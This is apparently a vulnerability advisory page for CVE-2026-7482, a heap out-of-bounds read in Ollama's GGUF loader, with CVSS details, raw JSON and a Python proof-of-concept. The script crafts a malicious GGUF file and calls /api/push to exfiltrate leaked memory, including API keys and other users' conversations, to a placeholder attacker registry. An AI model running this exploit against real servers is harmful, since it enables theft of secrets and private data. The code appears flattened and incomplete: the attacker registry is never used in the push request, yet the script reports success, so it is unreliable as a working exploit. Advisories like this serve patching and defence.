Security Vulnerability Report
中文
CVE-2026-7482 CVSS 9.1 CRITICAL

CVE-2026-7482

Published: 2026-05-04 13:16:02
Last Modified: 2026-05-11 12:27:12
Source: abd028dc-c042-4c4d-9749-38d0f850af89

Description

Ollama before 0.17.1 contains a heap out-of-bounds read vulnerability in the GGUF model loader. The /api/create endpoint accepts an attacker-supplied GGUF file in which the declared tensor offset and size exceed the file's actual length; during quantization in fs/ggml/gguf.go and server/quantization.go (WriteTo()), the server reads past the allocated heap buffer. The leaked memory contents may include environment variables, API keys, system prompts, and concurrent users' conversation data, and can be exfiltrated by uploading the resulting model artifact through the /api/push endpoint to an attacker-controlled registry. The /api/create and /api/push endpoints have no authentication in the upstream distribution. Default deployments bind to 127.0.0.1, but the documented OLLAMA_HOST=0.0.0.0 configuration is widely used in practice (large public-internet exposure observed).

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:ollama:ollama:*:*:*:*:*:*:*:* - VULNERABLE
Ollama < 0.17.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import struct # Target configuration TARGET_URL = "http://localhost:11434" ATTACKER_REGISTRY = "http://attacker-controlled-registry.com" # 1. Craft a malicious GGUF file structure # This function simulates creating a GGUF file where tensor offsets # point beyond the end of the file, triggering the heap read. def create_malicious_gguf(filename): with open(filename, "wb") as f: # Write GGUF Magic Number ("GGUF" in hex) f.write(b'GGUF') # Write Version (3 for GGUF v3) f.write(struct.pack('<I', 3)) # Write Tensor Counts (1 for simplicity) f.write(struct.pack('<Q', 1)) # ... (Metadata omitted for brevity) ... # Write Tensor Info: Name offset, Type, Offset (EVIL), Size # The key is setting the 'offset' to a value larger than the file size # e.g., offset = 0xFFFFFFFF (very large) evil_offset = 0xFFFFFFFF tensor_size = 0x1000 # Tensor Name (null terminated) f.write(b'tensor_name\x00') # Tensor Data mapping (Offset, Type, etc.) # In a real exploit, this structure must match the GGUF spec precisely # to pass initial parsing but fail during actual data access. f.write(struct.pack('<Q', evil_offset)) # The malicious offset f.write(struct.pack('<I', 0)) # Type f.write(struct.pack('<Q', tensor_size)) # Size def exploit(): gguf_file = "malicious.gguf" create_malicious_gguf(gguf_file) try: # Step 1: Upload and create model (triggers quantization & leak) print(f"[*] Uploading malicious model to {TARGET_URL}/api/create...") with open(gguf_file, 'rb') as f: files = {'file': (gguf_file, f, 'application/octet-stream')} # Modelfile instruction to use the uploaded binary data = { 'name': 'leaked-model', 'modelfile': 'FROM ./malicious.gguf' } r = requests.post(f"{TARGET_URL}/api/create", files=files, data=data) if r.status_code == 200: print("[+] Model creation initiated. Heap out-of-bounds read likely occurred.") else: print(f"[-] Upload failed: {r.text}") return # Step 2: Exfiltrate the model containing leaked memory print(f"[*] Pushing model to attacker registry: {ATTACKER_REGISTRY}") push_payload = { "name": "leaked-model", "stream": False, "insecure": True # if using http registry } p = requests.post(f"{TARGET_URL}/api/push", json=push_payload) if p.status_code == 200: print("[+] Exploit successful. Sensitive memory data exfiltrated.") else: print(f"[-] Push failed: {p.text}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7482", "sourceIdentifier": "abd028dc-c042-4c4d-9749-38d0f850af89", "published": "2026-05-04T13:16:01.727", "lastModified": "2026-05-11T12:27:11.917", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ollama before 0.17.1 contains a heap out-of-bounds read vulnerability in the GGUF model loader. The /api/create endpoint accepts an attacker-supplied GGUF file in which the declared tensor offset and size exceed the file's actual length; during quantization in fs/ggml/gguf.go and server/quantization.go (WriteTo()), the server reads past the allocated heap buffer. The leaked memory contents may include environment variables, API keys, system prompts, and concurrent users' conversation data, and can be exfiltrated by uploading the resulting model artifact through the /api/push endpoint to an attacker-controlled registry. The /api/create and /api/push endpoints have no authentication in the upstream distribution. Default deployments bind to 127.0.0.1, but the documented OLLAMA_HOST=0.0.0.0 configuration is widely used in practice (large public-internet exposure observed)."}], "metrics": {"cvssMetricV40": [{"source": "abd028dc-c042-4c4d-9749-38d0f850af89", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:D/RE:L/U:Red", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "YES", "Recovery": "AUTOMATIC", "valueDensity": "DIFFUSE", "vulnerabilityResponseEffort": "LOW", "providerUrgency": "RED"}}], "cvssMetricV31": [{"source": "abd028dc-c042-4c4d-9749-38d0f850af89", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "abd028dc-c042-4c4d-9749-38d0f850af89", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ollama:ollama:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.17.1", "matchCriteriaId": "18CE34C3-1F67-46CE-8B8D-5B54FC3996EF"}]}]}], "references": [{"url": "https://github.com/ollama/ollama/commit/88d57d0483cca907e0b23a968c83627a20b21047", "source": "abd028dc-c042-4c4d-9749-38d0f850af89", "tags": ["Patch"]}, {"url": "https://github.com/ollama/ollama/pull/14406", "source": "abd028dc-c042-4c4d-9749-38d0f850af89", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/ollama/ollama/releases/tag/v0.17.1", "source": "abd028dc-c042-4c4d-9749-38d0f850af89", "tags": ["Release Notes"]}]}}